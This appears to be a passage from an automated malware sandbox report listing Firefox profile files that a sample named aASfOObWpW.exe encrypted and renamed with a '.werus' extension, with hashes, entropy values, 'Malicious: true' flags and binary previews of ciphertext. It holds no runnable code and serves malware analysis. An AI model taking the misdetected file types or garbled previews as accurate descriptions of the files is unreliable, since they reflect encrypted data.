SHA-512:	03D8BBC49B0B3BBB586DBA0C96A09002A8D164C8306F60E1B0FD44FFC85E86D369C0D3B81B50C784B11B0A5145DBB8E4D86A7241346FC6EEB9754472E52AE307
Malicious:	true
Preview:	(..G.+0..B............I...#q......s.n..@.F..../..D..B\|.k....lP<...w..v..........2Hbwi9j..$]..>'/....../o^...DqW.....j...w.de.p........%....\.yVn.zM?......}>.I.=...s...U7CZav].....{.{.9.:U4.<.F8.k.....{....L..u.?).J(9...y...A.^.........>[..\..y...g4..$..V.:oqkjV..L.N.).x>I).Kt.9..w..&.2.w...h.!..j.@A ...: .K..r..:..qK..=..CMP{.X.(..ZR......-...~.^.pJ......5_...uW..>{.@.;#?...(...E.a..6....d.o._......0..........3tc.@C.d...n..@}...A...M..w...T.aZ..[u..IBT..)$......XS..^.m.yU)K.._.u...Y=.L...3.....KJROZA...E`{.Q...-.2.\.#....\|..D....A:FCW.8.c..w..ZY.a..z..eD>.;)..+&.O..........l..@.2]...c..>.rK..& <..2..\..;.V.........."u..@..2..L$R..m00..s..~...T<.NI...s.F...!Q..I.7.X.y.b...W.Q..w..d.g..P..Y....O.&.=.N.pT.P]eu`q.d;2..t]W...x...u.i.1.N..&\.p...i..S.^mw~k.h....+...........z/..=x4[.._a....E..+.!E..h..J;...E.=c...0}...w.&.._..D.IF..h....!y..m......L...q.a.........g..&....M..<a..4..<VLgi....P2.=...&o.D.P...}.:#.Mr.e0..g...u.......A...g..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	5242896
Entropy (8bit):	7.9999659568079515
Encrypted:	true
SSDEEP:	98304:+jsyCo4hC43fU9MFQJSi0HIOYPtO8DgcrLenHkfosOTs6ot:+AyyhjU9MFQPtHgcraZb4B
MD5:	4BDE81726CC2E80E167072765E386E7A
SHA1:	3680DD543D32EBFA793DD0D9CF0864F39E1773C2
SHA-256:	606492D7966A3B5E19E81E018004D205422232F4B24BED4605E4833E3D9F7A1A
SHA-512:	302C5C733DB9AE780D417A1E4B04EF57895249F3D0AA29402309F99805069F68C54270E5039DD5AD23E40BCFC4A474C36E25532384ABA37F287E6E7356BCE139
Malicious:	true
Preview:	...-n.fF...wG.....L.\|M.}...t....'..c.XR .....g.s3.CBm..t...1.99..?....:_n...'..+}..)D.JTnI6.n .?...y..aj!%.f.aK...(...u5nB.K....GC....WrG.s.@....Nij....O..=..a\|.A...h.0...5.L{5.)........W~.....hbg...........0#.m......Y...=B....{...P....@.$..=r.C..v{.j.SN..e.+}...b..!.y.........C.&\-5..~.S...\.8..u<d.5...1..b=.=.".y.D..B.(...G].....l..0.X;..O...!'.n...0&.g.....?.M.~...~H.0.F[.8...j<r...Hja...h.......-.R-..YZ?.. V...+...B.X.sx..$..7;...}...hQL.J..6;..{.J"r.....+~.mE...u..br..j.......A..r.....5...c..Nb.i..Y..k...r..\|ay.0r.\|"....?>0.Ru..X.d..Ie..655..U,o.!.L.e...;...e....v..b..}......?.Hu...6P[.=w......#;....?$&...2''.g..a.>.).u\6.}".<So...r...I4....B..:.Q.T......k7.&G`7D..5...i.E."G.5.U!......J~YH.n..6..."......`..b....&.....f..5..78..TMp.U./.......ab.o.2....oy.8.'.%3w.p..][8......{..[m...../.^M3.wc+.e..U.0.)..[,.....J........](...T.-U..z.o.u....POp9.&.9;..uj..{A~..D.~H..<<....#.g.V.t...."....+.....k..........i...5.......

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	9520
Entropy (8bit):	7.977157403951884
Encrypted:	false
SSDEEP:	192:r3yp5xHwGkoNo21g+oCdzG4aakvs9WAfbSe4qy27q+:byp8tJ25ovA9WADx4qw+
MD5:	958C653240A166D298A430A3F43F3AB5
SHA1:	B34B7DE0E7D385E61DBBFB1F57C50A5D3B68C6ED
SHA-256:	972551994E364E8CE7DEFEA62819CE00351042B7CB047FB5DC2392B9E954E530
SHA-512:	E4AE5BD5198F5D70806CD6A8936858CAB89CB62CFC8A2C90DD399E17011C67B50541A8B2B6C6CDEB6F24333937726372C3FA2D939FADF631A4BE5A674329F314
Malicious:	true
Preview:	..?.P)..W;..Co).......K...Zp?..qn..a..\|\|6..W..!....#w..!.T..._6y..8^..U...u,....~/{(.).!f..-r..q......`....c...s.^5...M.&...K...._$.7S....m...O....Z.U....!....... ..1..q!...p.ug...../@.ny...3q._?..nB.5.H..;s... ...@q..S...E...=..D...l.....z..H......'e1.k..H.......(.....-...`....k@\|..Q...G.~.D.(%R.z9g{...>.!.6....Ys......{.......b...g..uz. .....Q.o.x.....&...u.QI/......H.R.......u.%xH..}.5W..=e....,..F..*..s..$.~p.G.A.....%..%A.....S.L.R......0..R....v1(%.\| s.i..;..4I.#.....r.`.~=g.=...k_O.(^..q{\|r..Jc.]%.=%.......C<.T.N..m....p8...~>.PjLG.H."L...8{..$.LZ..S[k.+...=..=.CO.F../eK.._...d..CuF...."..5.2...p]...\|.m.Wt..T..i.....-....7......t=.b.r.A..D.7mW.j..\|.jw......~._..L;.,.Q..a.....P;.d..o.6.7.w..C.......e4..>m.c.G..\."f.g.0.5..-...4..b..".Iq....E.....Q.....n.D.1.zz.1$h.y[...iw..^J.Mg....).Q.v{...>`............#.. .;.;i.g&....b.o-P.Q.....#..c..V.![1Pf.mR..C..3}..e6...it.c3p.......$+.xFR...R.....M. .7w^..HC.-..Vh...af 1..@..:....,5f.H.+6'.9......t

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	65552
Entropy (8bit):	7.99707329839405
Encrypted:	true
SSDEEP:	1536:8vh47qateU5xFXkugcUiR+RCt+SiKBjhsD:EI55/YOEYtrThsD
MD5:	11196C0A8014E2CCA337FDA857F505D6
SHA1:	B9FBB4D824E655136FBC852D6B5E40AB58D9A882
SHA-256:	CA1D898E71910D35263D01D90E7516C9EB8417073AB90C8144B818621A19A78D
SHA-512:	C6AC26B0183E9D8CD540F746C1CBAC147F6DB71CDCFC3FC73455A8F8705A48BAAEBD8F1EBF1260062740D7C57408CB6C0E49D77DA9C155A8F59D4C9AA402F9F8
Malicious:	true
Preview:	...-n.fF...wG.....~.;.F...7C.PA.`.P..R.&....3d/.......X-....B....)Q.h....9.Z.A...#A..Az. 4...@1p5...a...x\|..B....L....?..B.z.A.........=..-~....$...._.d...OE...L.E..s...........\....n..I~.............~......E...+x....,!......5.:(....L..pG.....W.p_.&Z....d....P9C.fV.".F..x.f0.6.....H:].l._^s:..j..eedc!.?%.q....Q..R..t!.c..@.C..UT.EPE.mZo.2O.}.4......W\|.....@..'.........}D..;...S.....T....-T..4\|.].LJ..x....rl._.....l."#..p..f...R.......Mb...r...!]..y[3l...~...R...e.....k^...c.......>.....'.'....".l.EC..........Y.C.a..N...3 ..n.N6.P.5J...v.:...W...=..h34....D..[`...W.j..6zF.O..;.......);..U.`BY.t..@...r#...rN..Q..=.)3........@....F.;......@Z......%....$....\....d.".%.713wh/}"....{Z._...=#.>....?...H.p.s.c.jd..k)].].V...r.%.M...Ci.C..X...E`2.S.....L.....m...D....1@.x..%.Z..X..>.....B.T.#E)>.Q.-.q.u....S....2L..6.........~L.<f.pg.0.\|r...U.D..fy..F.....e{u.d....H.V...z..@.........A"....r..`2.U._w+.&.lT..}..0....}q..5..K.k..:.~.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\3c7034d6-bc52-43bb-9a23-5da34ee205e0.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.5811617803514215
Encrypted:	false
SSDEEP:	12:YM6JzS88Ie1Cnf4vFI6sHs0bAiw6qy9qbdh0dDR:eS8ZKCf4dIns0reOR
MD5:	7FB82513C5DBC2A0156489E52887E35F
SHA1:	76EC86E216DE42DEB09031BED9DD0CF59079FEC9
SHA-256:	11124917C2ADFCB8CC56F6C83F57F1DE27FB8EF1FC6FF689283DD6C34F698EFC
SHA-512:	0378DE1A8363334E137803B764C433B6C0983DF7D66D8C252F0F93F775C7C407BBF93FC27799EFC3658A72C34CBF6E434BFF7B8645D707F55C7340CA39411400
Malicious:	true
Preview:	.,..e..[........R&]:.%=.(T.Ob....P...P....._Q....Y.L.,..J....$..9..&...M.....x:.2{.].y..A\....W..'.<...aas..V....Z.s{.Bw...=.24.T.2....:.T!.l.n../..b."2..0\d...W9.3.u.J...A....zqS...K.6.)......8oK..D.a./.........'.Rv...>.'...V....64.p.OU....2..6.2...P......j... .(...,..5j..$B.d............'..1_"......I.E.?.P..G..%.......R.9...`7O......^..;h.2OXP.U.e#.,.....*.Vt...$d\|.l..Q.'......z.....f..9.2....%...Aw......]c../%t.&1(UG4.N..].P._.v...?...k.o..fT..yn.7....z.1u3...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\a83301c6-790b-49f3-adc7-55a855f7fe79.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	73824
Entropy (8bit):	7.997349894009162
Encrypted:	true
SSDEEP:	1536:pQayWySEqVWLDzFCrGr0OpNM6+V8EH/ic6Gjl6Dz8nlB8tYJUtVD:9tyqV44rGI6R4vHMQ6Db2JU7
MD5:	DE4213DDC2EAD0D78E57DD3D6D58583D
SHA1:	CB24A40E62C1838BB6D76C5B10412D47D1DA9A63
SHA-256:	7E9F797111E78753ACF39BFE48EBF240BBB3DE60FA5C88F5813247B71BC5E5CD
SHA-512:	95A8BBEF1D65377DA2E2DD09ED1F90B8BC0B8A305A8ED0E6C1603600B1F15A525261C67E7AD81AFF044BBD2FB084938875CB7338712B87D8CBD4DA25030A2341
Malicious:	true
Preview:	..7&...~...:...w.w....m...W...TyN.."'"...i..\|%..BP....].^hyy.A.LK....&....n.!...F.....+[f....Y...TN.if.5X....C.^.U:...K.d.%.j..G.d...v...^...+.M........4q&i_...M...w..&..u..n.8....=Z..l..he.P!P..)......@.........`.....+....X...Q.~LglN-...t[.V.#...,.4G...k;....>.C....(.....\|.....3.........F...s..q....7...z%.B.<..-SW.....aa....V..4 .>...I......._.\...........m.x.p.....@,_.Q2.$c&..."....q.Z....1..;K..&.g.T.&,...j.....w\.....@..mT...k....C..j......w.\| R/zx<..~..jB.Wl.N....Z.%....(.E.U.Ue3......8..s... H.....E.q\.....fJ...J:..s..Sa...k.m.>.n.......L;...a....O..0.vx84Vo~.).~.rpt.Wq.....].i,:....^"....V[ng$.-}..F.n.....'\|3:a.oO_.h].F.#n..F..+.%..s..H.=.\..8.9....q.y.-.Q....I.5N.6....(......A..I.._."d.7..t...F..e.yy..}.x.P..x.}.B..+.o.Zx7c.j..SBm>......(.N+.."^...m.Rp..S..-..v........a,M........S=X.U..n~.'..]B#n..c..vc.T`S.......H...i..r..9...B..o..?.Q.c.T..,iG..m.#....f..L.^+..`.,8l....}q3B.!.2.[.b...\7'.TJ.o..}7....b..t#....\|\|^..e..cA.^8hW....n.Fa8r.jy..@%...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.381368293492773
Encrypted:	false
SSDEEP:	6:QqDIAo5cQbKnhAWkbiopfpBjKOQivBqViEY78d117XxOTqgj3uUR9sJ:nDeUkbio9QimKTqGLsJ
MD5:	0C25D8F63BFE8811CAC5EBE1E1241060
SHA1:	08A462B779016F5B62858B3E6A694A2931DCB976
SHA-256:	339CFA85F596359C345916003B2385714421649FD7C0ACBD604A138D050D8584
SHA-512:	92579ABF535B93D61D8C088DF45872D591178E21D3F0208D8494ECD18C029059C850CE971B99112DEBA7443658311AD62AFDC5431CA4A39E9B1C724F6E8E726D
Malicious:	true
Preview:	u..^"..X.<....X....\.7...D.....-.P...T.8..N......<".d^...$..V/."..g.b..yA.....'a......"..k.3x+...<.L...c&..j..&@..D...c./r............K_.C.#..{9...Y.?."6.R.1%..Cf....Y....O.....8F_t."$.;..m.....*.vl.....1>...7.u..f.K."a0.q....&-..#qD8C\|.^r..E.]1b5.K...L.R.......D.8..M.M...hr..(]:G.....8K$..~.6..N...8Xp.zmC}.P!.........S.l./...X..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	304
Entropy (8bit):	7.355287998477259
Encrypted:	false
SSDEEP:	6:HzAEeDtstGx/BLMj+fQ+Uz10LXIBtcopUw1NUoLo/NUO:TA1J/OOHUz10jIBtcozE4MUO
MD5:	0E14E8392F0E947A54555F86BDA346B8
SHA1:	25773664D4905CF564D09B933D086F76248E0BD2
SHA-256:	390C4DE2BF4750D852E6BD6EB0DDB1CD4CD49F166AC19C4FFEB671183E499534
SHA-512:	EE4C33C82D1C2A9FF9802802F8B32B8784E3D092A09968E487E6F0C9A0B28C62533ACC24BD175712D952D3C5715F58B5B362B9D28E498289AC98B40A3ECBD4F1
Malicious:	true
Preview:	..i.;.+jN.....3 ...[:V.v.=..-..]..B..]........K.....~....Aw.)&u?.... .....$7..2:.....E.._.<..X.....''........#..9f.5..... )..$..k..j.yhy.....AH.....QH.r..:.}.2.Tn.E.K.fL.....^h...P...R.j\..!S..)...w.T.1Z.V.../4.F.`Ft.o..._....@6.Y.(....t.t\|..lw.2N..!..S....#}y.P}*..~]..@./...;.[.+..n.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\previous.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4352
Entropy (8bit):	7.957831496220534
Encrypted:	false
SSDEEP:	96:3EyuTT9aIMicrUeRxCNh8cEl6C5nAd4VLd+jGM0UKUs:0fMisRxCfElw6VJlGs
MD5:	C94047950988FA4183CFC4E346B4EBDF
SHA1:	C1A7B204776430BBA0110B80957576B1D2941CB6
SHA-256:	A8286648FABAD665B8C90FFBF1BCD1054396106FC09B6A5A47B0A0F51F5B988B
SHA-512:	9EF7D9B14EE55EC5E4FA7071BCD9603C70592AFD12D84FEED954F68E970CB5953B16088BB545E4A98F7D82AD8D7A3FC4E6A5D08BBDF7493FE45DAB8F879A44DD
Malicious:	true
Preview:	'.T...@.>+KS}.j...G....h.n..mM..C...<.@.C.....z+.:..2...9Wjo.S@h....A.M.m4=......X...C.0..M..b.uM..\c=)....2..;-..Q#s..w1n.w.......0P[..j...&3..F.:..wg...t &Z..i`......D_>.d&lz....\|7F(..V...R.....7..n...@n..I...S..[...../..W...NnW......8.?..5.k..\|........L.j..,.\w.v,..).?..c..@....4..X..._...T.. ........[..9..d..J<..}7.n....(.Uh..B..G.'gj..........5OoX.s..w.,.r,..4....U.d].C.C.^.6..Jim..&g.._..r\. ..`..W.p....6\=+z..$.n .Lk.....u.. ..,...htv.F....!..P.j.O..`y.q...<>..c.`c....,..} ;ZD.v.<o..w..X...a.`.6.....w.Z.....]..k.U).....Q6.@.a..,9Y.o.Z..9.!.....Y...Sq7..j@..u;&g..k.x.F...u....X`..w<..?...?m.....v.'."U....A..l.....N....l.).......U.u.K....pu.?#..s.%/......\|'.P.[...x..wYU.i._z.k...Q...c.A..#..{.l...{h...H.;~..S.4..C.YZ.?...\|....QS...(3m."....."..........$c0.Y.x.3+........US..z@..5..^Ci._.E.f.5.._n..z..5..U..yo..R_...0......RG.O.'..(.2../.E..i..6!.....l4..N..Ac..h......6..^').<,]...T..8._Ewc..]....B{j!}.w.....Q....0.n._..3..._1..*.-...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4352
Entropy (8bit):	7.957831496220534
Encrypted:	false
SSDEEP:	96:3EyuTT9aIMicrUeRxCNh8cEl6C5nAd4VLd+jGM0UKUs:0fMisRxCfElw6VJlGs
MD5:	C94047950988FA4183CFC4E346B4EBDF
SHA1:	C1A7B204776430BBA0110B80957576B1D2941CB6
SHA-256:	A8286648FABAD665B8C90FFBF1BCD1054396106FC09B6A5A47B0A0F51F5B988B
SHA-512:	9EF7D9B14EE55EC5E4FA7071BCD9603C70592AFD12D84FEED954F68E970CB5953B16088BB545E4A98F7D82AD8D7A3FC4E6A5D08BBDF7493FE45DAB8F879A44DD
Malicious:	true
Preview:	'.T...@.>+KS}.j...G....h.n..mM..C...<.@.C.....z+.:..2...9Wjo.S@h....A.M.m4=......X...C.0..M..b.uM..\c=)....2..;-..Q#s..w1n.w.......0P[..j...&3..F.:..wg...t &Z..i`......D_>.d&lz....\|7F(..V...R.....7..n...@n..I...S..[...../..W...NnW......8.?..5.k..\|........L.j..,.\w.v,..).?..c..@....4..X..._...T.. ........[..9..d..J<..}7.n....(.Uh..B..G.'gj..........5OoX.s..w.,.r,..4....U.d].C.C.^.6..Jim..&g.._..r\. ..`..W.p....6\=+z..$.n .Lk.....u.. ..,...htv.F....!..P.j.O..`y.q...<>..c.`c....,..} ;ZD.v.<o..w..X...a.`.6.....w.Z.....]..k.U).....Q6.@.a..,9Y.o.Z..9.!.....Y...Sq7..j@..u;&g..k.x.F...u....X`..w<..?...?m.....v.'."U....A..l.....N....l.).......U.u.K....pu.?#..s.%/......\|'.P.[...x..wYU.i._z.k...Q...c.A..#..{.l...{h...H.;~..S.4..C.YZ.?...\|....QS...(3m."....."..........$c0.Y.x.3+........US..z@..5..^Ci._.E.f.5.._n..z..5..U..yo..R_...0......RG.O.'..(.2../.E..i..6!.....l4..N..Ac..h......6..^').<,]...T..8._Ewc..]....B{j!}.w.....Q....0.n._..3..._1..*.-...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1232
Entropy (8bit):	7.838488754215714
Encrypted:	false
SSDEEP:	24:PGBx4E0r5eb6OlRLVpYS96Dj75vX4vITaIGdATYsTvymlG7mfsvfYotihET:P5j26g5VpMn1v02XYsTvymlImfsnjtbT
MD5:	1696B2F128523F2ADEC1B0E2F239F56D
SHA1:	53FD3D8E54918C85702F4EB013A8DA1D890F06E8
SHA-256:	B59A5C24FF03AB59A7B23D2E774477A75E17225B427CB2324F5DFE8B1F8A31AC
SHA-512:	A030842B79160B06857AEE294FCC68173B71179E77416E5CD6AC55DE7688146E7BE88E6AE1AA5199E93B77773B557B632508ABBB0874955EDF8475037EA495EC
Malicious:	true
Preview:	.s..........5.v1m.+.m..._..7Is.g.g;.4.E...4.{V^Y..A......f.Z..S#<^...{.....R....&...@....r..'.d._.m..N......F.b.a.\|(..e....Q\..ibF.{.to..+._..h...!.G8...$2w.>......j."lJE.Lnm1E3...PF.Lh.7..ae&...&.ja./..\|=.W...zJ....bA..(..e%....?..n.o.....X.9..l\|?...t....(....f.L{3.2.$....DI...U..NR.IM.E..X...p.%..<...W..O..Y....7...t.x.L...^....7{...g$Z .3..S..[....:i.t..D .]&..#6a..7..%..l..,.3w#.:.H....^....#.+=[p7...U8..I..x.o..f....6.v.}.....kj..w...r.@t...I2...N..PC._KQ.B..N..:B.r.....G.'.e\g..\|.f....N.>>T.6m..z...,v."]..L...2.J....nW...I4..[<..........?.:[...V7@.i..rG'.S.S.n...f......K.bs.V.A..Z.9.......-QQ..g.. 1o]f....K.b.f!.ej..M.......V.e {S....:..2.l.......3.q"..Y....[..n43.......f.0\.G<..h..\.C.W...A.;..0......&W..AS....'.NBNf.....$..+..C..!K..o.u..mR/.8;...M.....W..L.$5 C..(....."l.fP ......M\8.5.Lx.,.Zp>.#oP\Y..9...y<....%.+....4.a.ke.2XU'(..O..l.2.c.x"0.g...,..\|..T+d.4.^.0.%.#.a...h.u%....X.{...W{e....l...t..dv!-.J.W.BEE.tkE$......K.4

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.875
Encrypted:	false
SSDEEP:	3:2fjNehtIOwJn:2LWIOo
MD5:	42ACA1AFFDFC57071BBF14B65C920824
SHA1:	C2C4BD771738A9A33461E3BC6F4190DAD8F1FBCD
SHA-256:	3396D15B1CC34EE14E924D4B97C31758441FE0AC986601AE15CA89204BC84936
SHA-512:	F008DE1C4F44E8AC9FC274454D5A725ECD1834289F0EFD7D2D2EDC421F7A11B00BD5A699F47BE220BE67947AD8BB677AC482E4C37A37A5FD8C115334FA33C85E
Malicious:	true
Preview:	a::F.l......gm...j&.......Z..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4112
Entropy (8bit):	7.9527000497597715
Encrypted:	false
SSDEEP:	96:iE5F+bKgY3U/BXEq14dtPp2ts4FCGtQbG5S6SenFEm8iw1p:DpDE/BEtrbGE6Xnim8iw1p
MD5:	2D49FA8B12CE15120CEBF8F744096CB0
SHA1:	48902BA90B6853D975B1E2EC1FB2D62F455E83CA
SHA-256:	6CC4E6321CA72850FEA482DF9E134A50F991AB2FACCA433E39152FD47825E15C
SHA-512:	D6AD4AE6AC84E8625D251974BBDF1441312161562A368B39C16C42C0D9EE72575C635C8EBA5F6E24E278D89E75E77B09392DBCB52E1AD54190C9EA6FB9056519
Malicious:	true
Preview:	...-n.fF...wG....G....Hwv~:.s...].g......,.P.::..J:j...Q......(...&.........\p........alV.$./Qw._....{.x.}J~u..W.g1:.:. E....s...iu%".....DF..0O$M...ibb.j.....{....$&..#..E~M...nuap[K...^......8p.A(....y.=......L/.X.......<2y.} 0........sfU@.{[W^.%N.L.Ls...S.`p(...........8.4..5....l-p. F1..E.N7O..,.d...."`.Uq...n.%...U.......}...g.l.. ..p.Mz;Tm...t....k0..w...D..CK. ......C.........1j..=\ 0-a.P...?.=.M.L.N... ...\|...2lA..D...ao...<. ..m.&..........}$...O....0.'\=..}.Q..VP%....9.X.T..."wk0I.l...l.UG..D&Q.-v>...%F...Xq...N......cn]N......N.."-.r.;...K.T9.....".P....$......8c..^..r........pd.-4...e`}v.[..5..9.........J..+Y..4.zAa.?...?.]...~.....$-).#\..^oiwj....e..G....$.[.PV%.p...p.EE.Y ...b.....A.h"Z.A2qd...H...%..-..Z.....L....T.GIt6.."2}..i.A.8..%....T..n.../$.:.1Hlas../...u ./............L.p...9...I9+...,.WT...Vl<..@...].<...o.%u..*.Y.3.i3...cjIia.B.[.,....!..\._..v..c.>.J[.3.a..@.>..+..Cq:zc@ZM..D.{6M......GLj.[.}.....[.]#...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	131088
Entropy (8bit):	7.998554426902784
Encrypted:	true
SSDEEP:	3072:/F4AOZDKXAcgqaaZHgM0YgVM7z7V93C2mHHdDJO1TT1ewqZ5Y4:/O4PgzYdd9yHGBPqZ64
MD5:	3B02697F758452F25D55D0E0D893595C
SHA1:	519294B2550339459DA919DCF53DEB2580E63FA1
SHA-256:	73E59B51B0DBA0BEA0A5AAFA43C3A35452CEA8317A429A143B9C28218A54D7D8
SHA-512:	5B06789BE09490CD680FD9B04FFA32A182805175C66A78521E14B7DA73251AFD0B485D694FFC1FD0018B13012903CF09C041FDA49B983B3413089AD931BE4DEF
Malicious:	true
Preview:	...-n.fF...wG.....p.%F0$..G.)4......L\..+.(..1.<\|M.m._...5B/4.n.....=."..>.......T............E..k~Yv?.DI..u....K.......=.....\|.W.B.u..8j1...ZkA[.....V.T@.H..,..K.....L%....g .0)..'kh.>.2Ng.s.E....Lx..t....t...\...l..IPL.R.zw...5..RMmM...../&+...G.-......Q..,.......?#`b.......B.Y..g.."....C.iGI..'!t.._...;..."..n..MO./j.c......BY........R...L7..}L..G`.[....r...9\9s.K.:....C{"..i..._.....#.mkG..\|..U1B..$....TXJ..l.:<...D.A.>f^....'..r.X).-....;..px.i..N..*....>...js.s7.G..t.^.......4.>?..}........g.......~...M.O....=OE/..KW.Yj:...R....t..QC@U&9%!0..<..9.1..}..S.T...OD.W......d.<d>....\ ..-.\Y....H.6q.v-+..i..ctb.......Xv..;.....I=.......a..;T...g./....D...]..?.1./B..3...-a.T./Gm(y.V....\4I.1.=C....I...ic.....X.)Om...}..3...L..T.....S....>l..k..."g.-...wh.h..l8. ......o.\|.?.S,...5...Y.p....kN....'^..Xa\|uI.Xn.T..o]k...v.{...Y"..E..-Lg....;G>..5...DQ..:..5.9%=....=.f...w+.peT.>^.....2@.........;..8S...( .P.O-{J.;.mb.mn!

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\.metadata-v2.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.501629167387827
Encrypted:	false
SSDEEP:	3:TWd9JYzPpVuxi9R+gUoS:TorYzPXuxizBS
MD5:	2A5177A714D18350DDFAC9723DF6A949
SHA1:	8B930D938C3401A3C09BF69F476C0D71D94F3250
SHA-256:	3BC6361EC5EB6376AC77C8FB2EC57D5011563DE93E78B649A80FBB2F9B8F5412
SHA-512:	38C8F0051D3078B68D294952A5DA5716AB7C8AFDC9F377CD103E24A2B7B21CC4E418EC43C9215E196B64600914D9ECC512944D8F7A10C61C8AD99FD1C5E99C44
Malicious:	true
Preview:	....!QM7..l=V.L...gq.!1....0.)-4....{...?8.,....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994194258059233
Encrypted:	true
SSDEEP:	768:rj0gqKyzqbf3fiRTLtE0XtKZUW3CXmm25nNydA+zkLk8I:rYZzw3gvtE0X8GjXmm2t+4I
MD5:	BF6E71222683F9A6E5EE15506478C680
SHA1:	FC0FC4B4A8619E684B68818BDFB621CADEF66DD5
SHA-256:	8A3ADB95F980DBFD77605E37EFC8F30D67F90B99F1ABFB5F2F3FC44D2CBA9DFB
SHA-512:	C3EC8794D3B3830B3033324E0760F33EB298A6A1B2494465B3EF3C990E7E8638995EA97247B6A72B35F8333661198BA9F52EF314B8DDEA6F7F3F767A76A4813A
Malicious:	true
Preview:	....".....C.h.C)@.)v.-...Y...s..uG.......8.$.8.....G.M".D...._......m.....Xz.B._G.....{.K.s!X_3./.+..H.(.~N)."....RW.J'..`....yUv@V."6...#.U{'....u.....9.%..&/v.4u...Q+..O.t..~.?tm.1.....p.D.1lm..~@.......UUV`%.1Fz..p..vg...y.vs..BX\...-w<'..B-..3.Q..../...!..F...M..BC..\d!.+...a.}..Te.........}~P...t}\...'..v~..{..~.I...6....}....'4...X..S.]....v...R.h..K..}.K.Geq...0F@..YZ.f'....G+...a.;......Sj.0...3=z...I.n8..^..J'..N.kZ.8..9..../8m...m........g.lq.qk.>...=..5m0.[...X\~...Z.[5A.h..9........`_..!U....>..u..p......;..H..L.&M k.s3...e......oL..A...~p...W...i..J..H.,..[....S.U;.:....I.'I6.......o.-..'..iUd\&...o.L.`C.......f...yv.R.c<.. ....qs.n..d[DeU...,....+F..r...5]0.sFv..<."^$ZOts.7.....[..D.{.R/....... ...Q.A..s..+)..S...bmZ.......I....F.<..B.4<o.j...{4....A.......8.....i...4Y/..z1...&8...eS6]..p. .aRg.b.3.p..r.......8e].=...1..aaX#....F.-....gb3.Z.....4.?-..B.z ......&..].$~.WsiS..O.........J...L.V.].-0..-....Re.........=

